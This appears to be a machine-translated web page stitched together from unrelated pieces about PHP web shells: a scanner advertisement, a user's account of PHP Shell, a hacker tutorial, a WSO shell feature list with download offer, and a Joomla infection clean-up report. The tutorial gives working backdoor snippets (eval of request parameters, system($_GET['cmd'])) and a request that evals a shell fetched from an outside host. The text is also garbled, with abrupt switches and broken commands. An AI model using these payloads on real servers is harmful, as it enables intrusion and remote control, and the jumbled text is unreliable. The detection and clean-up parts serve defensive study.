Menu
homeWindows 7

PHPShell is a PHP script that allows you to execute shell commands on a web server. How AntiShell Web Shell Hunter helps you find malicious web shells What is a web shell

Most attacks on corporate resources involve the introduction of web shells - code that makes it possible to control the affected machines from outside the network. AntiShell Web Shell Hunter is a security tool that includes a whole set of mechanisms for identifying web shells.




Web shell is a script that is loaded onto the server and is used for remote administration. It only becomes malicious when it is controlled by an attacker. And in this case, he poses a serious threat.

The infected server does not have to be connected to the Internet - it can be located on the company's internal network. The web shell is then used to gain access to other hosts with critical applications or information.

To write web shells, use any language supported by the target web server. In practice, PHP and ASP are most often used, since they are the most popular. Malware written in Perl, Ruby, Python and Unix shell is also common.

Web shells are installed in a fairly standard way for malicious applications - using vulnerabilities in the CMS or web server software. After that, they function as backdoors, which allows an attacker to execute arbitrary commands on a remote machine, including introducing ransomware or launching attacks on other servers.

The particular danger of web shells lies in their relative simplicity. Modifying a script to produce a different program is a task that even a beginner can handle. Because of this quality, detection of web shells by standard antivirus tools is difficult.

Like other malware, web shells can be identified by a number of external characteristics. However, a significant part of them can also relate to completely legal files, so any suspicious indicators must be considered as a whole, analyzing the whole picture, and not its fragments.

Possible indicators of the presence of a web shell on the server may be:

  • periods of abnormally high server load;
  • the presence of files with a suspicious timestamp (for example, later than the time of the last software update);
  • presence of suspicious files in places accessible from the Internet;
  • the presence of files that contain links to cmd.exe, eval and the like;
  • presence of suspicious authorizations from the internal network;
  • the presence of files that generate traffic that is unusual for them.

It is obvious that “manual” analysis in this case, even if possible, requires too many human resources, so its use is devoid of any practical expediency. The AntiShell Web Shell Hunter program, developed by Garhi Technology, allows you to automate this procedure, and its developers claim that it is guaranteed to recognize all known web shells.

The application is based on the following technologies:

  • search by keywords. All files are checked for words and commands that may be associated with an attack;
  • signature analysis: search for signatures of known web shells;
  • analysis of the longest lines. Often, malicious code is encrypted in such a way as to bypass keyword searches. This makes the lines of code particularly long, which makes them detectable;
  • calculation of Shannon entropy in the source code. Each line of code is assigned a rating, based on which the degree of threat can be judged;
  • search for malicious code using the match index method.

This solves one of the main problems of detecting web shells, associated with the variety of languages ​​used and the possibility of easy modification. These factors do not affect the operation of AntiShell Web Shell Hunter, which makes it universal and can be used to protect any server.

Since files that have not been modified since the previous scan are excluded from processing, AntiShell Web Shell Hunter does not create a high load on the server. In addition, this approach reduces verification time.

At the same time, administrators can independently set the scan time based on daily fluctuations in the server load. If necessary, the daily mode is replaced by weekly or even monthly, which allows you to optimize the operation of the entire system.

The program detects files that contain web shell code and provides the system administrator with complete information on the object: date and time of creation, owner name, rights, and so on.

All this data (but not the files themselves) also goes to the client center of the developer company, which, based on it, can provide support in processing the incident and studying its consequences. Clients subscribed to a paid service can also use a special utility to download the infected files themselves for further analysis.

Messages about found objects are sent to the system administrator by email. He has no need to personally monitor the process.

Today, AntiShell Web Shell Hunter is the only tool focused specifically on detecting web shells. A number of antivirus applications include a similar feature, but only as an additional option, which is inactive by default. As a rule, they rely solely on signature analysis, so their effectiveness leaves much to be desired.

As the use of web shells to attack servers becomes more common, it makes sense to protect the system with a specialized solution. As they say, you can never have too much security.

Recently, in the vast expanses of the Internet, I came across a mention of " PHP Shell". A couple of years ago this utility helped me a lot and now I want to pay a kind of debt to its developer Martin Geisler (http://mgeisler.net/).

What is the purpose of "PHP Shell"? I believe that every “advanced” web programmer, not to mention system administrators, has encountered and used SSH. SSH allows us to gain remote access to the server and execute shell commands on it (well, there are all sorts of commands like walking through directories back and forth, up and down, moving, deleting and copying files, running scripts and all sorts of clever utilities), as if the wire to your monitor from the system unit has lengthened to incredible sizes and has reached all the way to the hosting server. It must be said that it is possible to tunnel through ssh and X-graphics, a desktop image, showing running windowed applications, but this is clearly not for web servers.

In a word, if you don’t have SSH on your hosting, then “what’s wrong in the Danish kingdom.” The downside is that often SSH is disabled by default on your “fresh” site, and it takes some arguing with support to get ssh to work. This is exactly what happened on that distant winter evening. I urgently needed to transfer a website from one machine to another, during which problems arose, and I habitually reached for the putty shortcut on the desktop in order to see what was “inside” the patient. Oops... but ssh support is not activated. What should I do? If you are quite experienced in programming in some language, then it will not be difficult to write a small script that implements the desired task. I opened Google and, after going through a couple of links, found a mention of PHP Shell. In a word, I went home on time.

To tell the truth, I was very lucky that I had enough of the stripped-down shell capabilities that PHP Shell provided me - it is, after all, an imitation of it.

PHP Shell basically uses the php function proc_open. This function runs a certain command and opens I/O streams in order to enter some information into the application (simulating manual input as if on a keyboard) and output the results of the work (if you know what pipes are, then we are talking about them). Essentially, the proc_open function is an improved and expanded version of the exec or system functions. Those, however, only launched the program and did not give the opportunity to interact with it; you had to immediately specify in the command line parameters all the data necessary for the command to work. proc_open allows you to create pipes associated with your PHP script, and accordingly you can simulate inputting data into the program and read the results of its work. For fans of free hosting, I’ll say right away:

"NO, YOU CANNOT ACCESS SSH WITH PHP Shell."

The fact is that for free or very cheap hosting it is common to run PHP in safe_mode. A number of functions are disabled in it, including proc_open.

"NO, YOU CAN'T WORK WITH INTERACTIVE PROGRAMS WITH PHPSHELL."

The very essence of the web tells us that it is not possible to run some program on a remote server that would continue to work and allow us to enter and output data over several separate http requests.

"NO, YOU CANNOT ACCESS ALL PROGRAMS, FILES AND FOLDERS ON THE SERVER."

The script either works on behalf of apache and then its capabilities are limited only by what the apache account has the rights to do. Or, alternatively, if the hosting uses suexec (http://en.wikipedia.org/wiki/SuEXEC), then your rights will coincide with the rights of the account from which the php script is launched.

Let's assume that this didn't stop you, and you downloaded and unpacked the archive on your server into a folder, say, phpshell. If you enter “what-is-your-site-name/phpshell/phpshell.php” into the address bar of your browser, you will be asked to introduce yourself, enter your name and password - of course, these are not the credentials that you received from your hoster

So you need to configure permissions: who can access the shell through this utility. To do this, in the config.php file, find the users section and add the username and password to it in the following form:

Vasyano=secret

If you are confused by the fact that the password is set in clear text, then by using the pwhash.php file you can find out the md5 version of the password and it will be stored in the config.php file

Now we try to log in again and find ourselves in a window where we enter a command at the bottom of the window, click “run” and then the result of its execution is displayed in the center of the page window

That's all, maybe phpshell will help you somehow.

Not exactly an article, but it will be useful to many. So, we got into the admin panel, we were eventually able to shove the following code somewhere, for example:

if (isset($_REQUEST["e"])) eval(stripslashes($_REQUEST["e"]));


or simply:

assert(stripslashes($_REQUEST));


stripslashes in this case are solely to bypass magic_quotes=ON
Many people insert

system($_GET["cmd"])

And other disgraces, but this is all unnecessary, in fact everything is simpler. So, you inserted this code somewhere (in faq.php, or you already have some sort of backdoor somewhere in the depths of the server scripts).
Those. As a result, for example, you achieved the following link:

http://localhost/user.php?e=phpinfo();


And after this, many beginners are stupefied. The immediate next question is - what to do next?
Let's take a closer look at this phpinfo, which showed us the main two points that we will be interested in in this situation:

allow_url_fopen
allow_url_include

allow_url_include

Yes, it’s tough, of course, but, as a rule, it’s off.

Remains

And it usually = ON. How can we use this opportunity, recklessly left by the admin, so as not to worry too much (not to look for writable folders and figure out similar nonsense, and generally not to fill up the shell as such, but to climb around the server as if the shell was already flooded). Yes, very simple. If

allow_url_fopen = ON

And you have a code that displays at least that you have already read all the configs, merged everything you need, etc. (not to be confused with “to rip”, only what can be read)

We take the latest shell from the dear oRb, delete the first line:

+
delete the last one
+
you can delete the password, we don’t fill the shell, we just use it without leaving

save to any host as bla_bla.txt(the same narod.ru is quite suitable) or in the form of a picture on a file hosting service that provides direct links to download content and make the following request:
Code:

http://localhost/user.php?a=eval(file_get_contents("http://site.ru/bla_bla.txt"));


All. You have a full-fledged shell without physically uploading it to a server with all the usual shell capabilities. Thank you for your attention
PS: tested on WSO2.4 ( wso2_pack.php)

Shell description:
Authorization
Server information
File manager (Copy, rename, move, delete, chmod, touch, create files and folders)
View, hexview, edit, download, upload files
Working with zip archives (packing, unpacking)
Console
SQL manager (MySql, PostgreSql)
Executing PHP Code
Working with strings + searching for hashes in online databases
Bindport and back connect (Perl)
Finding text in files
*nix/Windows
From chips
Anti-search engine (User-Agent is checked, if it is a search engine, then a 404 error is returned)
The console remembers the entered commands. (you can navigate through them using the up and down arrows when focusing on the input field)
Can use AJAX
Light weight (24.32 KB)
Selecting the encoding in which the shell runs.

This utility provides a web interface for remote work with the operating system and its services/daemons.
Use of this product for illegal purposes may result in criminal liability.

The archive contains the latest version of the shell and a small WSOmanager tool for working with shells.

Download shell:

A malicious WSO PHP shell script was detected /libraries/simplepie/idn/OpenIDOpenID.php (Joomla! 3 site). At the moment, it is detected only by some antiviruses such as JS/SARS.S61, PHP:Decode-DE, Trojan.Html.Agent.vsvbn, PHP.Shell.354, php.cmdshell.unclassed.359.UNOFFICIAL.

One “wonderful” day, one of our clients (http://ladynews.biz), as a result of scanning his website with a hosting antivirus, received the following message:

Files with malicious content were detected in your account. We strongly recommend that you limit access to your FTP account only from the IP addresses you use, and also use anti-virus protection to scan your account for viruses. Read the article Security and Hacking Recommendations to Prevent Re-Infection.

Of course, it was proposed to deal with this disgrace - scanning with the standard ClamAV antivirus, with a set of default anti-virus databases, did not give any additional results.

At the time of the beginning of this story (2015-10-23), this viral shell script was not present in the anti-virus databases of most antiviruses, including such “monsters” as Comodo, DrWeb, ESET-NOD32, GData, Kaspersky, McAfee, Microsoft, Symantec, TrendMicro and etc., which was also confirmed by an online scanner on 2015-10-23 VirusTotal. Only a few antiviruses were able to detect the malicious PHP script:

Antivirus Result Update date AhnLab- V3 JS/ SARS. S61 20151022 Avast PHP: Decode- DE [Trj] 20151023 NANO- Antivirus Trojan. Html. Agent. vsvbn 20151023

On the same day, ClamAV and Dr.Web were notified about the detection of a malicious script. ClamAV is still stubbornly silent, but Dr.Web responded to the malicious package within 24 hours:

Your request has been analyzed. The corresponding entry has been added to the Dr.Web virus database and will be available with the next update.

Threat: PHP.Shell.354

Dr.Web kept its promise and the virus script OpenIDOpenID.php is now defined as PHP.Shell.354, however, many antiviruses such as ClamAV, Comodo, DrWeb, ESET-NOD32, GData, Kaspersky, McAfee, Microsoft, Symantec, TrendMicro, etc., still have no idea about it (as of 2015-10-25).

Ok, we deleted the file, but for how long? Where it came from, we can only guess. What's next? We begin to install all sorts of Securitycheck components and set up rules in .htaccess that prohibit access to everything and everyone because on shared hosting (aka Virtual hosting, shared hosting) we do not have the authority to do more. Nobody knows how long these measures will save us.

By the way, on the topic of all sorts of Securitycheck components... Securitycheck is a component for Joomla! and quite good. And here's a certain Antivirus Website Protection"complete crap that I highly recommend that no one use, here is a practice-verified review of this "Antivirus Website Protection":

This Component also creates a pack.tar file in your /tmp that contains your configuration.php and any other passwords found! BE AWARE

Which in translation means: “this component also creates a backup copy of the entire site in the file /tmp/pack.tar, which contains configuration.php with database passwords! BE CAREFUL” - this indicates that “Website Protection” is from this component and it doesn’t smell, which should also make the victim think about changing the paths to the /logs, /tmp, /cache directories and denying access to them.

By going to this link you can understand that the problem is at least more than a year old. Looking in here Let's understand that the disguise of the shell script is not done by the tricky base64_encode/gzdeflate , which means there must still be a part somewhere that calls/connects OpenIDOpenID.php and executes base64_decode/gzinflate . This means OpenIDOpenID.php is only a result (aka a consequence), and not a cause, where the victim complains that spam has begun to be sent from the server on an industrial scale, and manual deletion of malicious files does not help, after which the victim complains about NIC-RU hosting no one else. "Leaky" virtual hosting may well be very good. even often, IMHO, people work there for a salary, and not for an idea, but in some cases the problem can be much deeper.

For example " Malicious iFrame injector detected in Adobe Flash file"I think it's no secret that in Flash you can write interfaces for uploading files to a website and do many other interesting things in the ActionScript language. A virus in .swf files (Adobe Flash), as practice has shown, can remain undetected for years and be a back door in the site ( aka back door - back door) through which files like “OpenIDOpenID.php” are “thrown in” and can be deleted until you’re blue in the face and to no avail.

What to do, how to find the “weak link” among thousands of files? To do this, you need to use so-called heuristic analysis and, in some cases, use third-party anti-virus databases. It should be taken into account that heuristic analysis, depending on its settings, can give many false positives than when using additional virus signatures from third-party developers.

Where can I get third-party antivirus databases? For example, databases with anti-virus signatures from third-party developers for ClamAV can be obtained for free at the following addresses: www.securiteinfo.com, malwarepatrol.net, rfxn.com. How to use these additional anti-virus databases? This will be a completely different story. We can only say that additional anti-virus databases for ClamAV from rfxn.com ( LMD (Linux Malware Detect) project) are aimed at searching for malware specifically in web applications and gives more successful results. rfxn.com also states that 78% of threats whose fingerprints are contained in their database are not detected by more than 30 commercial anti-viruses - and most likely this is so.

So... How did the story with the malicious PHP shell script OpenIDOpenID.php end?

It was decided to stock up on additional anti-virus databases for ClamAV from malwarepatrol.net and rfxn.com, download a backup copy of the site files and scan them locally, here is the scan result:

$ clamscan / ladynews.biz / ../ game_rus.swf: MBL_647563.UNOFFICIAL FOUND / ../ farmfrenzy_pp_rus.swf: MBL_647563.UNOFFICIAL FOUND / ../ beachpartycraze_rus.swf: MBL_2934225.UNOFFICIAL FOUND / ../ e_rus.swf: MBL_647563.UNOFFICIAL FOUND / ../ loader_rus.swf: MBL_647563.UNOFFICIAL FOUND ----------- SCAN SUMMARY ----------- Known viruses: 4174348 Engine version: 0.98.7 Scanned directories: 3772 Scanned files: 18283 Infected files: 5 Total errors: 1 Data scanned: 417.76 MB Data read: 533.51 MB (ratio 0.78 : 1) Time: 1039.768 sec (17 m 19 s)

/libraries/simplepie/idn/OpenIDOpenID.php Like the above mentioned .swf files, they were deleted, but was the problem solved? It’s hard to say for now, but let’s dig further...

From the decrypted version of the file /libraries/simplepie/idn/OpenIDOpenID.php(http://pastebin.com/WRLRLG9B) by looking at the constant @define("WSO_VERSION", "2.5"); , it becomes clear that this is a kind of product called WSO. After digging a little on the network using the WSO keyword, the following results were obtained:

It turns out that the topic is not new for a long time, so let’s take regexxer to task, continue digging through the site files and discover: Error opening directory "/home/user/libraries/joomla/cache/controller/cache": Access denied

Yeah, here you are, where else has it gone! We look at the rights to the directory, which should not be there by default, = chmod 111 (aka Run for Owner/Group/All). Thus, something sits somewhere and scatters itself through catalogs, hiding itself even from viruses with chmod 111.

Having installed chmod 551 for the catalog and looking inside, it was found /libraries/joomla/cache/controller/cache/cache/langs.php, the source code of which is posted here: http://pastebin.com/JDTWpxjT - directory /libraries/joomla/cache/controller/cache delete.

Great, now let’s put the chmods in order for all files and directories:

# mass change of rights (chmod) for files in the directory./dirname and underlying ones find / home/ user/ public_html -type f -exec chmod 644 ( ) \; # mass change of rights (chmod) on v./dirname and underlying ones find / home/ user/ public_html -type d -exec chmod 755 ( ) \;

Once again we repeat the antivirus scan with additional clamscan /ladynews.biz databases, but supposedly everything is clean.

We repeat the search for files with regexxer and try to search using the keywords OpenIDOpenID, OpenID or WSO - and we come to the conclusion that the problem turned out to be much broader and deeper:

  • - it should not be here, here is its source: http://pastebin.com/jYEiZY9G
  • /administrator/components/com_finder/controllers/imagelist.php- it should not be here, here is its source: http://pastebin.com/0uqDRMgv
  • /administrator/components/com_users/tables/css.php- it should not be here, here is its source: http://pastebin.com/8qNtSyma
  • /administrator/templates/hathor/html/com_contact/contact/toolbar.trash.html.php- it should not be here, here is its source: http://pastebin.com/CtVuZsiz
  • /components/com_jce/editor/tiny_mce/plugins/link/img/Manager.php- it should not be here, here is its source: http://pastebin.com/2NwTNCxx
  • /libraries/joomla/application/web/router/helpsites.php- it should not be here, here is its source: http://pastebin.com/ANHxyvL9
  • /plugins/system/ytshortcodes/XML.php- it should not be here, here is its source: http://pastebin.com/GnmSDfc9
  • /templates/index.php - it should not be here, here is its source: http://pastebin.com/gHbMeF2t

/administrator/components/com_admin/index.php and /templates/index.php were probably input scripts that executed the main code using the highly discouraged eval() function, which also used:

Well, the logic of masking malicious code is clear. Now, if we look for the “ eval($ ”) construction, we will find a lot more interesting things:

  • /administrator/components/com_admin/sql/updates/postgresql/php.php- http://pastebin.com/gRHvXt5u
  • /components/com_kunena/template/blue_eagle/media/iconsets/buttons/bluebird/newsfeed.php -
  • /components/com_mailto/helpers/index.php -
  • /components/com_users/views/login/file.php -
  • /components/com_users/controller.php- infected and requires replacement!,
  • /includes/index.php -
  • /libraries/joomla/string/wrapper/section.php -
  • /libraries/legacy/access/directory.php -
  • /libraries/nextend/javascript/jquery/InputFilter.php -
  • /libraries/nextend/smartslider/admin/views/sliders_slider/tpl/config_tinybrowser.php -
  • /libraries/xef/assets/less/admin.frontpage.php -
  • /media/editors/codemirror/mode/rust/Alias.php -
  • /modules/mod_kunenalatest/language/zh-TW/smtp.php -
  • /modules/mod_kunenalogin/language/de-DE/XUL.php -
  • /plugins/content/jw_allvideos/jw_allvideos/includes/js/mediaplayer/skins/bekle/CREDITS.php -
  • /templates/sj_news_ii/html/mod_sj_contact_ajax/toolbar.messages.php -

Not all viral PHP scripts have code posted on pastebin.com because only 10 publications are allowed within 24 hours. In general, the removal procedure is approximately as follows:

Yes, I almost forgot - before starting to remove malicious scripts, it wouldn’t hurt to add several rules to .htaccess that prohibit direct access to any .php files in any directories, but allow access only to the root files / or /index.php and /administrator/ or /administrator/index.php - this will block an unwanted attacker’s access to incoming shell scripts hidden in various system directories:

UPD 2015-10-28: Well, what? Already relaxed? It's too early...

Now let’s look in the jungle of site files for binary files that shouldn’t exist in the engine:

find / mypath/ -executable -type f find / mypath/ -type f -perm -u+x find / mypath/ -type f |

xargs file |

  • grep "\:\ *data$"
  • Whoever searches will always find (binary files):
  • /modules/mod_p30life_expectancy_calc/tmpl/accordian.pack.js
  • /images/stories/audio/34061012-b1be419af0b9.mp3
  • /libraries/xef/sources/folder/navigation.php
  • /libraries/joomla/application/web/application.php
  • /libraries/joomla/document/json/admin.checkin.php
  • /libraries/nextend/assets/css/LICENSES.php
  • /libraries/fof/config/domain/toolbar.categories.html.php
  • /libraries/fof/form/field/client.php
  • /libraries/phputf8/sysinfo_system.php
  • /components/com_mobilejoomla/index.php
  • /components/com_mobilejoomla/sysinfo_system.php
  • /components/index.php
  • /components/com_banners/sysinfo_config.php
  • /components/com_kunena/views/home/admin.checkin.php

/components/com_jce/editor/tiny_mce/plugins/source/js/codemirror/toolbar.checkin.php

/components/com_jce/editor/tiny_mce/plugins/colorpicker/admin.cache.php

Let's summarize It was not possible to reliably determine where the legs of this infection came from - whether the critical vulnerability recently found in the engine that allows SQL injections and escalation of privileges is to blame, or the above-mentioned .swf files marked as malicious, or something that has not yet been discovered - a vulnerability in one of the third-party components or plugins, or a leaky virtual web hosting - the question remains open? At the moment, the detected malicious files have been cleaned, the engine files have been completely re-uploaded, barricades have been built with the rules in .htaccess... Anyone who has time and is interested in putting together and digging through this pile of shit can

TOTAL: There is no such thing as too much paranoia, and any free or commercial antivirus with its heuristics along with additional signature databases is far from a panacea. Therefore, any anti-viruses are an outdated tool for protecting an active multi-user environment and to prevent various unknown threats, paranoid methods of protection should be used, for example: virtualization, SELinux, Bastille Linux, immutable bit, ecryptfs etc!

  • Threat: WSO PHP web shell
  • Victim: ladynews.biz